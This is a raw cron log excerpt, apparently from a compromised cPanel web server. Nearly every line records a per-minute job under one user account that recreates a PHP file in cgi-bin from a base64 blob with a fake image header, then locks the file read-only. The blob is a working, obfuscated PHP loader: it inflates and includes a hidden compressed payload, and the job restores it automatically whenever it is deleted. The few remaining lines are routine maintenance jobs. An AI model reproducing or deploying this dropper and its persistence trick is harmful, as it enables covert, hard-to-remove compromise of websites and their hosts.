Apr  9 07:42:01 server CROND[7253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:43:01 server CROND[7430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:44:01 server CROND[7492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:45:01 server CROND[7568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:45:01 server CROND[7570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:45:01 server CROND[7569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:46:01 server CROND[7700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:47:01 server CROND[7774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:48:01 server CROND[7948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:49:01 server CROND[8020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:50:01 server CROND[8087]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 07:50:01 server CROND[8089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:50:01 server CROND[8090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:50:01 server CROND[8091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:50:01 server CROND[8088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:51:01 server CROND[8379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:52:01 server CROND[8452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:53:01 server CROND[8611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:54:01 server CROND[8706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:55:01 server CROND[8770]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
